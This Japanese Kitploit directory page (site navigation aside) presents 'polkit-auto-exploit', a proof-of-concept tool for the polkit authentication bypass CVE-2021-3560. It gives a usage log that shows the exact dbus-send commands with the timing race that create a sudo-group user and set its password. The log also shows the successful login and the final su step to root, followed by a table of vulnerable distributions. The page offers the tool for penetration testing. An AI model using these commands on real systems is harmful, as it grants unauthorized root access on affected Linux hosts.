Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
polkit-auto-exploit — Polkit CVE-2021-3560 向け自動エクスプロイト PoC | Kitploit
ツール/GitHubGitHub/aancw/polkit-auto-exploit
認証と認可特権昇格脆弱性分析エクスプロイトペネトレーションテスト
GitHubaancw/polkit-auto-exploit

polkit-auto-exploit

Polkit CVE-2021-3560 向け自動エクスプロイト PoC

リポジトリを見る
545年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

polkit-auto-exploit

Polkit CVE-2021-3560 向け自動エクスプロイト PoC

Summary

CVE-2021-3560 は polkit における認証バイパスであり、非特権ユーザーが DBus を使用して特権メソッドを呼び出せるようにします。このエクスプロイトでは、accountsservice が提供する 2 つの特権メソッド(CreateUser と SetPassword)を呼び出します。これにより、特権ユーザーを作成してパスワードを設定し、最後に作成したユーザーとしてログインしてから root に権限昇格できます。 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Usage

root@kitploit:~
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)

[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs

テスト済み

  • Ubuntu 20.04(policykit-1/focal,now 0.105-26ubuntu1)

情報

polkit バージョン 0.113(以降)がインストールされているすべてのシステムに脆弱性があります。これには、polkit バージョン 0.115 を搭載した RHEL 8 や、polkit バージョン 0-105-26(polkit の Debian フォーク)を搭載した Ubuntu 20.04 などの一般的なディストリビューションが含まれます。

脆弱なディストリビューション

ライセンス

MIT License

ツールをダウンロード
ディストリビューション脆弱性あり?
RHEL 7いいえ
RHEL 8 はい
Fedora 20(またはそれ以前)いいえ
Fedora 21(またはそれ以降) はい
Debian 10 (“buster”)いいえ
Debian testing (“bullseye”) はい
Ubuntu 18.04いいえ
Ubuntu 20.04 はい